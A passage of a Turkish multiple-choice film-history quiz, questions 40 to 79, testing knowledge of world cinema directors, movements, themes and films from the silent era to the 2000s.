40.Marketa Lazarova‘ (1967) için, “Andrei Rublev’e ilham veren film” denir. Gerçekten de bir ara en iyi Çek filmi seçilen bu eser, Rublev’e hem konu hem üslup yönünden oldukça benzer. Ortaçağların Paganizm-Hıristiyanlık meseleleri ila genç bir kızın öyküsü, ustaca harmanlanmıştır. Görüntüler hakkındaysa yoruma gerek yok, kendisi konuşuyor çünkü.
Claude Chabrol imzalı ‘Que la bête meure’ (Canavar Ölmeli – 1969) ila Juan Antonio Bardem imzalı ‘Muerte de un ciclista‘ (Bisikletlinin Ölümü – 1955), yine birbirlerine çok benzerler. Yolda arabayla birine çarpan ve hemen o kaza mahalini terk eden burjuvalar, iki filmde de sınıfsal çelişkilere uzanan bir sürece davetiyeydi.

Hangi iki film arasında, herhangi bir benzerlik (olay örgüsü, konu, biçim, tür…) yakalamak mümkün değildir?

a-) Akai tenshi (1966) — Lilith (1964)
b-) La ceremonie (1994) — Sister My Sister (1994)
c-) Rear Window (1954) — Peeping Tom (1960)
d-) Le notti di Cabiria (1957) — Mamma Roma (1962)
e-) La femme du boulanger (1938) — The Last Command (1928)

41. Film Noir, Amerika’ya göç eden Avrupalı (özellikle Dışavurumculuk kökenli) yönetmenlerin ellerinde yeni bir muhteva ve biçim kazanıyordu. Gerilimin dozajı artıyor; psikanalitik okumalar daha da belirginleşiyordu. Otto Preminger’in ……, Max Ophüls’ün ……, Fritz Lang’ın …… ve Robert Siodmak’ın …….. filmleri, birkaç simge örnektir.

Boş bırakılan yerlere aşağıdakilerden hangisi getirilemez?

a-) Detour (1945)
b-) Laura (1944)
c-) The Spiral Staircase (1945)
d-) The Reckless Moment (1949)
e-) The Woman in the Window (1944)

42.
I-) War of the Buttons {Düğmelerin Savaşı- 1962} / Yves Robert
II-) Shonen (1969) / Nagisa Oshima
III-) Ratcatcher (1999) / Lynne Ramsay
IV-) Mon oncle Antoine (1971) / Claude Jutra
V-) Lord of the Flies {Sineklerin Tanrısı – 1963} /  Peter Brook
VI-) Holubice (Beyaz Güvercin – 1960} / Frantisek Vlácil
VII-) Il gattopardo {Leopar – 1963} / Luchino Visconti
VIII-) Le vieil homme et l’enfant (1967) / Claude Berri
IX-) I bambini ci guardano (1944) / Vittorio De Sica
X-) Empire of the Sun {Güneş İmparatorluğu – 1987} / Steven Spielberg
XI-) La vie devant soi {Onca Yoksulluk Varken – 1977} / Moshé Mizrahi
XII-) El espinazo del diablo {Şeytanın Belkemiği – 2001} / Guillermo del Toro
XIII-) L’enfance nue (1968) / Maurice Pialat
XIV-) Fanny och Alexander (1982) / Ingmar Bergman

Epey örnek sıralanmıştır. Hangi numaradaki film, çocukların/çocukluğun dünyasına teğet dahi geçmemektedir?

a-) VII b-) I c-) VIII d-) XI e-) XII

43.
La historia oficial’ (Resmi Tarih – 1985), ….. Sineması’nda cunta döneminin karanlık yüzünü gözler önüne serer.
Memorias del subdesarrollo‘ (Azgelişmişliğin Anıları – 1968), ….. Sineması’nın en büyük yapımlarından biri kabul edilmektedir.
Macunaima‘ (1969), ….. Sineması’nın sunduğu eğlenceli bir “yerli olma” masalıdır.
Le déclin de l’empire américain‘ (Amerikan İmparatorluğu’nun Çöküşü – 1986), ….. Sineması’nda, ‘Barbarların İstilası’nı öncelleyen çalışmadır.

Boş bırakılan yerlere hangi ülke getirilemez?

a-) Meksika
b-) Brezilya
c-) Arjantin
d-) Küba
e-) Kanada

44. Kill Bill I’de Lucy Liu’nun bulunduğu mekana baskın yapan Gelin (Uma Thurman), düzinelerce adamı aynı anda ve rahatça kılıçtan geçirebiliyorken, “önemli” karakterlerle “teke tek” giriştiği düellolarda ise nispeten zorlanmaktadır?

Bu ironik durum, 7. sanatta hangi terimle ifade edilmektedir?

a-) Ters Ninja Kanunu
b-) Eğretileme
c-) Göreli Gerçeklik
d-) Açı – Ters Açı
e-) Beyaz Telefonlar Dünyası

45. Uluslararası yarışma komitelerinin vaktiyle filmleri için “fazla Japon” tabirini kullandığı; filmlerinin ana temasının aile ve kuşaklar arası iletişim/sizlik olduğu usta yönetmen kimdir?

a-) Akira Kurosawa
b-) Yasujiro Ozu
c-) Kenji Mizoguchi
d-) Nagisa Oshima
e-) Mikio Naruse

46. D.W. Griffith, sinemada kurgunun büyük ustalarından biridir. Karakterle ve ruh haliyle özdeşleşmemizi sağlayan ‘Yakın Plan’ı (Close-Up) ustaca kullanan ilk kişi de odur. Klasik Amerikan Sineması’nın, yönetmenin 1915 tarihli ‘The Birth of a Nation’u ile başladığı yaygın kanıdır. Irkçılık eleştirilerine maruz kalan bu filme, 1 yıl sonra ‘Intolerance’ {Hoşgörüsüzlük} ile cevap verecektir. 4 farklı dönemde geçen bu dev epik, gelgelelim ticari açıdan fiyasko ile sonuçlanacaktır.

Intolerance’ye ilham kaynağı olduğunu bildiğimiz 1914 yapımı tarihi film, aşağıdakilerden hangisidir?

a-) Civilization
b-) King of Kings
c-) Cabiria
d-) Quo Vadis
e-) J’accuse

47. Hangisi doğru değildir?

a-) Alain Resnais’in ‘Stavisky…’i, politik sinemanın usta isimlerinden Francesco Rosi’de ‘Il caso mattei’ye denk gelir.
b-) ‘Les dimanches de Ville d’Avray’ {Pazarlar ve Cybele – 1962}, küçük kız ve bir adam arasındaki dostluğu işlerken, fona 40′ların Direniş dönemlerini yerleştirir.
c-) ‘The Nasty Girl’ {1990 – Michael Verhoeven}, Nazi dönemiyle yüzleşen Alman filmlerinden biridir.
d-) 2006 yapımı ‘Başkalarının Hayatı, Karel Kachyna’nın ‘Ucho’ {Kulak – 1970} adlı satirik filmine benzer.
e-) Konrad Wolf, ikiye bölünmüş Almanya’nın Doğu kanadına sözcülük eden filmler çekmiştir.

48. Renkli dönemlerin siyah-beyaz sevdalısı Aki Kaurismaki’nin;

- Yol Sineması’na göz kırptığı
- Frank Borzage’nin 20′lerdeki klasiği ’7th Heaven’i tekrar Paris’e adapte ettiği
- Ölümsüz bir Rus romanını uyarladığı
- Hafıza kaybını işleyen tatlı bir öykü sunduğu

filmleri vardır. Bu açıklamalar ışığında, aşağıdaki filmlerden hangisi dışarıda kalır?

a-) Kauas pilvet karkaavat (Sürüklenen Bulutlar – 1996)
b-) Pidä huivista kiinni, Tatjana (Eşarbına Sahip Çık, Tatyana – 1994)
c-) Mies vailla menneisyyttä (2002)
d-) La vie de bohème (1992)
e-) Rikos ja rangaistus (1983)

49. Aşağıda verilen film – tema eşleştirmelerinden hangisi yanlıştır?

a-) Imitation of Life (Douglas Sirk, 1959) — Irkçılık
b-) Les roseaux sauvages (Andre Techine, 1994) — Eşcinsellik
c-) Les Enfants du paradis (Marcel Carné, 1942) — Tiyatro
d-) Deutschland im Herbst (1978) — Aile içi çözülme
e-) Chapaev (Georgi Vasilyev, 1935) — İç Savaş

50.

Yukarıda, ‘The Unknown‘ (1927) filminden bir sahne görülmektedir. Karedeki oyuncu, sessiz dönemlerin gerilim ikonudur. En çok Tod Browning ile çalışmış, arıza rollerle tarihe geçmiştir. ‘The Phantom of the Opera‘nın (1925) dehlizlerde yaşayan hayaletidir… ‘The Man Who Laughs‘un (1928), lakabı The Laughing Man olsa da içi kan ağlayan palyaçosudur… ‘He Who Gets Slapped‘in (1924), sirklere düşen sabık bilim adamıdır…
Bu unutulmaz oyuncu kimdir?

a-) Lon Chaney
b-) Bela Lugosi
c-) Emil Jannings
d-) Conrad Veidt
e-) Harry Langdon

51. Boşanma oranlarının istatistiki olarak çok arttığı bir ülkede, halka gösterilecek filmlere dahi sınırlama getirilmiştir. Filmler bu meyanda sansüre tabi tutulmakta, aile yapısını sarsmayacağına kanaat getirilenlere yayın izni çıkmaktadır. Saura’nın her zamanki gibi aile kurumu üzerinden oklarını fırlattığı ‘Cría cuervos‘ {Besle Kargayı – 1976}, bu hezeyanı körükleyen film olmuştur.

Aşağıdaki 5 film, “aile yapısını sarsmamak”ın kriter olduğu sıkı bir denetime girmiştir. Hangisi, heyetten geçme ihtimali daha yüksek bir filmdir?

a-) A Woman Under the Influence {Etki Altında Bir Kadın – 1974} / John Cassavetes
b-) The Straight Story {Straight’in Hikayesi – 1999} / David Lynch
c-) The Ice Storm {Buz Fırtınası – 1997} / Ang Lee
d-) Ordinary People {Sıradan İnsanlar – 1980} / Robert Redford
e-) Sommaren med monika {Monika’yla Bir Yaz – 1953} / Ingmar Bergman

52.
- Komünist babanın liderliğindeki renkli bir aile; suçlu gençlik; orkestra…
- Tabutçulukla ve sinema salonu işletmeciliğiyle geçinen aileler…
- Savaş yılları Belgrad’ı ve her biri ayrı alem olan bir dolu insanı taşıyan otobüs…
- Çingeneler…

4 adet hiciv yüklü Yugoslav filmi, birer cümleyle özetlenmiştir. Özeti yapılmayan aşağıdakilerden hangisidir?

a-) Skupljaci perja (1967) / Aleksandar Petrovic
b-) Maratonci trce pocasni krug (1982) / Slobodan Sijan
c-) Sjecas Li Se, Dolly Bell {Dolly Bell’i Hatırlıyor musun? – 1981} / Emir Kusturica
d-) Otac na sluzbenom putu {Babam İş Gezisinde – 1985} / Emir Kusturica
e-) Ko to tamo peva (1980) / Slobodan Sijan

53. “Bu durumda Mervyn LeRoy’un ‘Anthony Adverse’sindeki çocuğun yerinde olmayı kimse istemez herhalde. Anneyi doğumda kaybetmek, sadece fotoğraflarda tanımak. Çok acı! Onların kıymetini yaşarken bilmek, onları kırmamak gerek. Tıpkı Raqul Walsh’ın …… filmindeki -ana kuzusu- kahramanımız gibi.”

Boş bırakılan yere, Walsh’ın aşağıdaki hangi büyük filmi (inanın öyle) getirilmelidir?

a-) High Sierra (1941)
b-) They Drive by Night (1940)
c-) The Roaring Twenties (1939
d-) The Enforcer (1951)
e-) White Heat (1949)

54. “Film eleştirisi yazarken karşılaşılan en büyük hatalardan biri, yazarın filmi düz bir şekilde anlatmasıdır. Eleştirinin amacı okuyana filmi hece hece hatırlatmak ya da filmin aynısını metne dökmek değildir. Eleştirinin amacı, filmin tamamına yönelik geniş bir bakış açısı ile fikir ve bilgi sunmak olmalıdır.
Film eleştirisi bir bütüne yönelik yazı olacağından; filmin senaryosundan ışığına, yönetmenin eski filmlerinden benzer türdeki başka filmlere, oyunculuklara ve diğer teknik ya da teknik olmayan konulara uzanabilir. Alt metinlere değinebilir. Tabii tüm bunları ve daha fazlasını uygulayabilmek için sinema makaleleri ve kitapları okumak; çok sayıda film izlemiş olmak (mümkünse tür ayrımı yapmadan) gerekiyor.
Yazıda basmakalıp cümlelerden de kaçınmak lazım. Mesela ……. filmleri yorumlanırken ‘plan-sekans kullanımı göze çarpıyor’ demek, basmakalıp ve ‘gereksiz’ kaçabilir.”

Boş bırakılan yere, aşağıdaki hangi ikili “daha bir” uygun olur?

a-) Hsiao-hsien Hou – Philippe Garrel
b-) Volker Schlöndorff – Elem Klimov
c-) Nikita Mikhalkov – Miclos Jancso
d-) Theo Angelopoulos – Yasujiro Ozu
e-) Bent Hamer – Jan Nemec

55. Bilkent Üniversitesi Uluslararası İlişkiler bölümü son sınıf öğrencisi Kemal Şahin, bir filmi değerlendirirken yönetmenlik, kurgu, mantık, oyunculuk, sanat yönetimi (kostüm, dekor vb.), görüntü yönetimi (sinematografi), ses kurgusu, final… vesaire türlü teknik öğeleri / üstünlükleri göz ardı ederek, salt “mesajlara” yoğunlaşmaktadır. Bundan dolayı kimi filmlere hak ettiğinin çok altında puan vermektedir.

Kemal’in sol bir damardan beslendiği de göz önüne alındığında… Aşağıdaki filmlerden hangisini puanlamada mağdur etme ihtimalinin “daha yüksek” olması beklenir?

a-) Vozvrashchenie (Dönüş, 2003)
b-) Fight Club (Dövüş Kulübü, 1999)
c-) Lola Rennt (Koş Lola Koş, 1998)
d-) Land and Freedom (Ülke ve Özgürlük, 1995)
e-) Saving Private Ryan (Er Ryan’ı Kurtarmak – 1998)

56.Das Cabinet des Dr. Caligari.‘ {Doktor Caligari’nin Muayenehanesi – 1920}, “Dışavurumcu” akımın sembol filmidir. Şeytani bir doktor ve tesiri altına girip cinayetler işlemeye başlayan kurban, bugün dahi etkileyiciliğinden bir şey yitirmemiştir.
Der blaue Engel‘ (Mavi Melek – 1930), ‘Nosferatu, eine Symphonie des Grauens‘ (1922), ‘Asphalt‘ (1929), ‘Sunrise‘ (Şafak – 1927), ‘Der müde Tod‘ (Üç Işık – 1921), ‘Die freudlose Gasse’ (Neşesiz Sokak – 1925), ‘Faust – Eine deutsche Volkssage‘ (1926), ‘Der Student von Prag‘ (Praglı Öğrenci – 1926) vb. klasikleri bize armağan etmiştir, Almanya’da başlayan mezkur sinema akımı.

Aşağıdakilerden hangisi, dönemin kaosundan doğan ve empresyonizme tepki niteliğindeki bu akımın özelliklerinden biri değildir?

a-) Sokaklar ve merdivenler, ürkütücü bir trajedinin ve yozlaşmışlığın simgesidir.
b-) Mekanlar deformasyona uğratılır.
c-) Mekanlar çoklukla stüdyoda yaratılmıştır.
d-) Amatör oyuncu kullanımı yaygındır.
e-) Abartılı ışık kullanımına ve gölge oyunlarına rastlanır.

57. Aşağıda, 60′lar ile hız kazanan Japon Yeni Dalga hareketi içerisindeki 5 sıradışı, rahatsız edici ve “deneysel” çalışma yer almaktadır. Beş film de üslupları itibariyle gerçekten çarpıcı bir deneyim vaat ederler.
Bunlardan hangisi, “underground” çevreleriyle, sokak röportajlarıyla, kameraya doğru bakan suratlarıyla, yarı belgesel anlatımıyla ve şehrin kuşbakışı görüntülendiği bir asansör sahnesiyle anımsanacaktır?

a-) Bara no sôretsu (Güllerin Cenaze Töreni – 1969) / Toshio Matsumoto
b-) Tanin no kao (Başkasının Yüzü – 1966) / Hiroshi Teshigahara
c-) Suna no onna (Kumların Kadını – 1964) / Hiroshi Teshigahara
d-) Môju (1969) / Yasuzo Masumura
e-) Yabu no naka no kuroneko (Siyah Kedi – 1968) / Kaneto Shindô

58.
I-) Uvandtarna {Göçmenler – 1971} / Jan Troell
II-) The 39 Steps {39 Basamak – 1935} / Alfred Hitchcock
III-) El Norte (1983) / Gregory Nava
IV-) Moonlighting (1982) / Jerzy Skolimowski
V-) Rembetiko (1983) / Costas Ferris
VI-) Magyarok {Macarlar – 1978} / Zoltan Fabri
VII-) Petit à petit {Yavaş Yavaş – 1971} / Jean Rouch
VIII-) La noire de… {Siyahi Kız } / Ousmane Sembene
IX-) Reise der Hoffnung {Umuda Yolculuk – 1990} / Xavier Koller
X-) Pelle the Conqueror {Fatih Pelle – 1987} / Bille August

Üstte, anavatandan uzaklaşmayı ya da yeni bir ülkede yabancı olmayı izlek edinen on film görülmektedir.
Hangi ikisi, rotayı “Amerika” şeklinde belirlemiştir?

a-) IX ve VI  b-) IX ve III c-) II ve VI d-) I ve III e-) I ve X

59. “Filmlerim ile etrafımda olup bitenler arasında bir bağlantı kurmak oldukça kolay sanıyorum. Bu filmimde; ülkemde günlük işlerden sayılan, gazetelerde küçük bir haber olarak yer alan bir sorunu ele alıyorum: ‘Gençlik Suçları’. Bu, İspanya’da her zamankinden daha çok yaygınlaştı. İspanya değişti, zaman da değişti ve benim gösterdiğim gençliğin Fransa, İtalya ve hatta belki de İsviçre gençliğinden bir farkı kalmadı. Sanıyorum nerdeyse dünya çapında bir fenomen ile karşı karşıyayız.”

Carlos Saura, üstteki sözleri hangi -ödüllü- filmi için söylemiş olabilir?

a-) Ana y los lobos {Ana ve Kurtlar – 1973}
b-) Elisa, vida mía {Elisa, Hayatım – 1977}
c-) Deprisa, deprisa {Haydi Koş – 1981}
d-) Die dritte Generation {Üçüncü Jenerasyon – 1979}
e-) Faustrecht der Freiheit {Özgürlüğün Zorbalık Hakkı – 1975}

60. “İmge, hakikatin suretidir.” (Tarkovsky)
Altta, 1920′lere tarihli beş adet deneysel (avant-garde) film görülmektedir. Anlamsızlığın sinemasını yapmış 5 film. Bir tanesi, uzunca bir otomobil yolculuğu sahnesiyle ve beyaz bir konağın içerisinde zar oynayan dört adamla belleklere yerleşmiştir. Ancak onu sormuyoruz.

Aşağıdakilerden hangisi, ‘Cinema Pur’ akımının başyapıtları arasında sayılır? Dadaist kahramanlarıyla, mekanik bir bale sahnesiyle, rollercoaster ve koşu sahneleriyle akıllara kazınmıştır?

a-) Emak-Bakia (1926) / Man Ray
b-) Anémic cinéma (1926) / Marcel Duchamp
c-) Les mystères du château de (1929) / Man Ray
d-) Entr’acte {Perde Arası – 1924} / Rene Clair
e-) La souriante Madame Beudet {Güleryüzlü Madam Beudet – 1923} / Germaine Dulac

61. 2000 yapımı ‘You Can Count on Me’, ortalamanın üstünde bir filmdir.

Aşağıdaki filmlerden hangisinde kardeşler arası bir ilişki yoktur?

a-) Tystnaden (Sessizlik – 1963) / Ingmar Bergman
b-) Les enfants terribles (1950) / Jean-Pierre Melville
c-) Whistle Down the Wind (1961) / Bryan Forbes
d-) Cronaca Familiare (1962) / Valerio Zurlini
e-) Persona (1966) / Ingmar Bergman

62.

- El sol del membrillo (Ayva Ağacının Güneşi – 1992) / Victor Erice
- Joi uchi hairyo tsuma shimatsu (1967) / Masaki Kobayashi
- Seppuku (1962) / Masaki Kobayashi
- Kwaidan (1964) / Masaki Kobayashi
- Cenizas del paraíso {Cennetin Külleri – 1997} / Marcelo Piñeyro
- Fat City (1972) / John Huston
- L’Appartement (1995) / Gilles Mimouni
- The Hit (1984) / Stephen Frears
- Muerte de un ciclista {Bisikletlinin Ölümü – 1955} / Juan Antonio Bardem
- Sayat Nova (Narın Rengi – 1968) / Sergei Parajanov
- The Set-Up (1949) / Robert Wise
- The Act of Seeing with One’s Own Eyes (1970) / Stan Brakhage

Yukarıda, Kobayashi aşığı olduğu görülen bir sinema severin “en” favori filmleri sıralanmıştır. Sadece listeye bakarak bu kişi hakkında aşağıdaki çıkarımlardan hangisi yapılamaz?

a-) Şurası kesin ki ağır işleyen sanatsal filmleri seven biridir.
b-) Boks, anlaşılan o ki favori sporudur.
c-) Şiirle arası iyi olabilir.
d-) Gangster/suç janrıyla arası ise yok gibidir.
e-) Samuray filmlerine ve seyri zor çalışmalara zaafı olduğu muhakkaktır.

63. Tıpkı Erich von Stroheim ve Max Ophüls gibi, subayların/askerlerin tarafları arasında olduğu ilişkilere ve aristokrat dünyalara meraklı bir yönetmendir. Filmlerinden -her haliyle- zarafet damlayan bir büyük ustadır. 20′lerde Dışavurumcu işlere ve bazı savaş fresklerine imza atmıştır. Yine 20′lere tarihli ‘The Docks of New York‘, kalabalık sahnelerdeki ustalığıyla Vidor’un ‘The Crowd’unu hatırlatır. Fetiş oyuncusu ve “Mavi Meleği” Marlene Dietrich ile pek çok film yapmıştır. ‘Morocco‘, ‘The Scarlet Empress‘, ‘Blonde Venus‘ ve elbette ‘Shanghai Express‘, bu ortaklığın hatırda kalıcı bazı işleridir.

Bahsi edilen efsane yönetmen kimdir?

a-) Josef von Sternberg
b-) Werner Schroeter
c-) Jean Epstein
d-) Georg Wilhelm Pabst
e-) Sacha Guitry

64. “Hükümetin başı, mitinginde ana şehir belediye başkanımıza salladı. Güya burası leş gibi kokuyormuş. Belediyemize birkaç ay önce baskın yapan onlar değildi sanki! Bizi, ana muhalefetiz diye ödenekten mahrum bırakan da onlar değil mi!
Bunlar ellerinden gelse o “Turk 182″ karakteri gibi saldıracaklardı belediyemize. Var mı ötesi…” (Kamil Şener)
Kamil Şener’in arkadaşı, bu şikayeti yakınlarıyla şöyle paylaşmıştı:
“Bizim Kamil, yine gediğine koymuş taşı. Daha iyi bir gönderme yapılamazdı. Yazdığı ‘Turk 182′, 1980′ler yapımı bir Bob Clark filmi. Çeşitli dezenformasyonlarla bir belediye başkanı hedef alınıyordu.
Ben de bu meyanda kendisine Gürcü usta Tengiz Abuladze’nin en tanıdık işi …… ile mukabelede bulunmak istiyorum.”

Boş bırakılan yere aşağıdakilerden hangisi getirilmelidir?

a-) Monanieba (1984)
b-) Vedreba (1967)
c-) El chacal de Nahueltoro (1969)
d-) Dama s sobachkoj (The Lady with the Dog – 1960)
e-) Pastorali (1975)

65. Genç adam ve sevgilisi, merdivenden inerler; gece kulübünün kırmızı ve dar koridorları boyunca yürürler. Kamera da hemen arkalarından onları takip etmektedir. Adam ve sevgilisi mutfaktan geçerler. Kamera hâlâ takiptedir. Tüm bunlar tek planda ve ustalıkla çekilmiştir.

Üstte tarifi yapılan ‘Copacabana‘ sahnesi, hangi filmdeki anlara karşılık gelir?

a-) Casino (1995) / Martin Scorsese
b-) Goodfellas (Sıkı Dostlar – 1990) / Martin Scorsese
c-) Carlito’s Way (Carlito’nun Yolu – 1993) / Brian De Palma
d-) Once Upon a Time in America (Bir Zamanlar Amerika’da – 1984) / Sergio Leone
e-) The Untouchables {Dokunulmazlar – 1987} / Brian De Palma

66. Hasan Bey, bir narenciye tüccarıdır. Bir dönem çok sevdiği yasak aşkını, bağlayıcı törelere kurban vermiştir. Hasan Bey’in defalarca izlediği tek bir film vardır. Zira bu film sanki onu anlatmaktadır. Ne vakit o final sahnesini izlese -çalan acı müziğin de etkisiyle- geçmişe gitmekte, gözleri yaşarmaktadır.

Söz konusu film aşağıdakilerden hangisi olabilir?

a-) Akasen chitai {Utanç Sokağı – 1956} / Kenji Mizoguchi
b-) Meshi (1951) / Mikio Naruse
c-) Shinjû: Ten no amijima (1969) / Masahiro Shinoda
d-) Vale Abraão (1993) / Manoel de Oliveira
e-) Maboroshi no hikari (1995) / Hirokazu Koreeda

67. “Bu tiyatro-film, 1700′lerde Rakoczi önderliğinde merkezi yönetimin zorbaca uygulamalarına (ağır vergiler gibi) bayrak açan köylü isyanlarına, sosyalizm odaklı bir saygı duruşudur. Baştan sona kırsalda geçen müstehcen hikaye boyunca ajitatif şarkı, şiir ve söylevlere kulak misafiri oluruz. Dans gösterileri izleriz. Kahramanlarının köylüler olduğu temsili bir oyun icra edilmektedir…”

Yukarıda yorumu yapılan meşhur Miclos Jancso filmi aşağıdakilerden hangisidir?

a-) Még kér a nép {Kızıl Mezmurlar – 1972}
b-) Szegénylegények {The Round-Up – 1966}
c-) Oldás és kötés (1963)
d-) Így jöttem (1965)
e-) Csillagosok, katonák {Kızıl ve Beyaz – 1967}

68.
I-) A Brighter Summer Day (1991) / Edward Yang
II-) Panny z Wilka {Wilkolu Genç Kızlar – 1979} / Andrzej Wajda
III-) Out of the Past (1947) / Jacques Tourneur
IV-) City of Pirates (1983) / Raoul Ruiz
V-) Deutschland bleiche Mutter {Almanya Acı Ana – 1980} / Helma Sanders-Brahms
VI-) Vaghe stelle dellOrsa (1965) / Luchino Visconti
VII-) Fiorile (1993) / Paolo & Vittorio Taviani
VIII-) Spring in a Small Town (1948) / Mu Fei
IX-) Rebecca (1940) / Alfred Hitchcock

Üstteki filmlerden hangisi, “geçmişin hayaletleri” teması barındırmaz?

a-) I b-) II c-) IV d-) VIII e-) IX

69. Aşağıda verilen bilgilerden hangisi doğru değildir?

a-) Douglas Sirk’in ‘Şafak Bekçileri’ {The Tarnished Angels – 1957}, kırsal yaşamı olanca gerçekliğiyle tasvir eden filmler arasındadır.
b-) ‘A Better Tomorrow’, John Woo’nun ‘The Killer’ ve ‘Hard Boiled’ öncesi ısınma turlarından biridir.
c-) İncelikli aşkların ve unutulmaz müzikallerin yönetmeni Ernst Lubitsch, 33 yapımı ‘Design for Living’de üçlü aşk şeması çizmiştir.
d-) ‘Cléo de 5 à 7′nin yönetmeni Agnes Varda, Yeni Dalga’nın sol kanadına mensuptur ve belgeselleriyle de tanınır.
e-) Visconti’nin ‘Senso’su (1954), aristokrasi dönemlerinde geçen bir aşk/intikam öyküsüdür.

70. Jack Lemmon ve Walter Matthau, ayrılmaz bir ikili oluşturmuşlardı. ‘The Odd Couple’ (1968) filminde, biri temiz diğeri pasaklı olmak üzere, iki zıt karakteri oynamışlardı.

Aşağıdaki filmlerden hangisi, iki ana karakterin “zıtlıkları” üzerinden beslenmez?

a-) Birdman of Alcatraz (Alcatraz Kuşçusu – 1962) / John Frankenheimer
b-) Il sorpasso (1962) / Dino Risi
c-) Rosencrantz & Guildenstern Are Dead (1990) / Tom Stoppard
d-) Going My Way (Yolumda Giderken – 1944) / Leo McCarey
e-) Neskolko dney iz zhizni I.I. Oblomova (1980) / Nikita Mikhalkov

71.
- Kimi filmlerindeki gaglar, sözlerle süslenemeyecek kadar komplike ve seridir.
- Çoğu filminde bir yemek fetişizmi görmek mümkündür.
- Avant-Garde sinemanın Kanada ayağının çağdaş temsilcilerinden biridir.
- Kadının makus kaderi, onun sinemasının adeta temel motifi olagelmiştir.

Hangi yönetmen, yukarıdaki tariflerin dışında kalır?

a-) Guy Maddin
b-) Jan Svankmajer
c-) Buster Keaton
d-) Kenji Mizoguchi
e-) Stephen Quay

72. Aşağıda sıralanan başyapıtların hangisinin ana taglinesi, “gerçeğin göreliliği” üzerinedir?

a-) The Crowd {Kalabalık – 1927} / King Vidor
b-) La regle du jeu {Oyunun Kuralı – 1939} / Jean Renoir
c-) Raging Bull {Kızgın Boğa – 1980} / Martin Scorsese
d-) Greed {Hırs – 1924} / Erich von Stroheim
e-) Rashomon (1950) / Akira Kurosawa

73.
I-) Ukikusa (Yüzen Otlar Hikayesi – 1959) / Yasujiro Ozu
II-) Ben-Hur (1959) / William Wyler
III-) The Man Who Knew Too Much {Çok Şey Bilen Adam – 1956} / Alfred Hitchcock
IV-) Pocketful of Miracles {Elmacı Kadın – 1961} / Frank Capra
V-) The Ten Commandents (On Emir – 1956) / Cecil B. DeMille

Üstte, 5 adet yeniden çevrim görülmektedir. 4 tanesinde, yönetmen yıllar sonra “eski çevrimi de kendine ait” bir filmi yeniden çekmiştir. Sadece birinde, yeniden çevrime kaynaklık eden eser başka bir yönetmenindir.
Bu “kaynağı başka yönetmene ait” re-make, hangi seçenekte doğru verilmiştir?

a-) I b-) II c-) III d-) IV e-) V

74. Yeşilçam’da sık kullanılan bir kalıp vardır: “Bir erkeği üç şey bozar: İçki, kumar ve kadın.”

Bu şablon, aşağıdaki şıkların hangisinde doğru ve “tam” halde verilmiştir.

a-)
İçki: Germania anno zero (1948) / Roberto Rossellini
Kumar: House of Games (1987) / David Mamet
Kadın: Erotikon (1929) / Gustav Machaty

b-)
İçki: Le souffle au coeur (1971) / Louis Malle
Kumar: Me and My Gal (1932) / Raoul Walsh
Kadın: Cousin cousine (1975) / Jean-Charles Tacchella

c-)
İçki:  Le roman d’un tricheur (1936) / Sacha Guitry
Kumar: Bob le flambeur (1956) / Jean-Pierre Melville
Kadın: Visages d’enfants {1925) / Jacques Feyder

d-)
İçki:  Deep End (1970) / Jerzy Skolimowski
Kumar: Long Day’s Journey into Night (1962) / Sidney Lumet
Kadın: La baie des anges (1963) / Jacques Demy

e-)
İçki: The Lost Weekend (1945) / Billy Wilder
Kumar: Huozhe (1994) / Yimou Zhang
Kadın: Variete (1925) / E.A. Dupont

75.

Yukarıdaki sahne, 90′lar yapımı hangi kült filmden alınmıştır?

a-) El día de la bestia (1995) / Álex de la Iglesia
b-) A Comédia de Deus (Bir Tanrı Komedisi – 1995) / João César Monteiro
c-) La ardilla roja (Kızıl Sincap – 1993) / Julio Medem
d-) Welcome to the Dollhouse (Bebek Evine Hoşgeldiniz – 1995) / Todd Solondz
e-) Tierra (1996) / Julio Medem

76. Nolan’ın ‘Memento‘sundaki kahraman, bir diyabet hastasıydı. Çağın en yaygın illetlerinden biridir maalesef… Erken dönem İran filmlerinden ‘Khaneh siah ast‘ {Ev Karadır – 1963} ise belgesele kayan bir anlatım ile “cüzzam”lıları ağırlıyordu… Yusuf Şahin’in yönetmenliğini yaptığı ‘Le Sixieme Jour‘ {Altıncı Gün – 1986}, bir kolera salgınını fona alıyordu…

Aşağıda film – hastalık eşleştirmeleri yapılmıştır. Doğru olmayan eşleşme hangisidir?

a-) Duet for One {1986 – Andrey Konchalovskiy} — “Down Sendromu”
b-) Shizukanaru ketto {1949 – Akira Kurosawa} — “Frengi”
c-) Dark Victory {1939 -  Edmund Goulding} — “Kanser”
d-) Donnie Darko {2001 – Richard Kelly} — “Şizofreni”
e-) Les nuits fauves {1992, Cyrill Collard} — “Aids”

77.
___
______
________
__________
______________
________________
__________

Üstte, bir yönetmenin filmografisinin ilk halkalarının “sinemasal kalite” grafiği -kaba bir halde- verilmiştir.

Aşağıdakilerden hangisi “kesinlikle” bu yönetmen olamaz? (NOT: Grafik, filmografiyi yukarıdan başlatmaktadır.)

a-) Robert Altman b-) M. Night Shyamalan c-) John Huston d-) David Lean e-) George Cukor

78. Aşağıda verilen bilgilerden hangisi doğrudur?

a-) Alain Resnais’in 93 yapımı ‘Smoking/No Smoking’inde, aynı oyuncular pek çok karakteri birden canlandırmıştır.
b-) Ken Loach sineması, 80′lerin başında ilk meyvelerini vermiş, 90′ların başındaki ‘Riff-Raff’ ile birlikte olgunlaşma sürecine girmiştir.
c-) Jacques Rozier, Yeni Dalga içerisinde romantik bir alt tür oluşturmuş “Dolmakalem-Sinema”nın kurucusudur.
d-) Belgesel sinemanın dev isimlerinden Maya Deren, Empire binasını çektiği 3 saatlik çalışmasıyla hafızalara kazınmıştır.
e-) Jan Svankmajer’in akıllara zarar animasyonu ‘Street of Crocodiles’ (1987), bir masada açılan Avrupa haritası ile hatırlanır.

79. “Katılıyorum. ‘Dancer in the Dark’ın fedakar ve acılı Selma’sını, Pudovki’nin ‘Mat’ında partizanların safına katılan yaşlı anayı kim unutabilir…
Peki ya Yimou Zhang ustanın …… filminde Li Gong tarafından canlandırılan mağdur anneye ne demeli? Gebe haliyle şehre iniyor, oradan oraya koşturuyor, hükümet dairelerinde hakkını arıyordu.”

Boş bırakılan yere aşağıdaki Yimou Zhang filmlerinden hangisi gelmelidir?

a-) Hong gao liang (Kızıl Darı Tarlaları – 1987)
b-) Wo de fu qin mu qin {The Road Home – 1999}
c-) Qiu Ju da guan si (1992)
d-) Ju Dou (1990)
e-) Da hong deng long gao gao gua (1991)

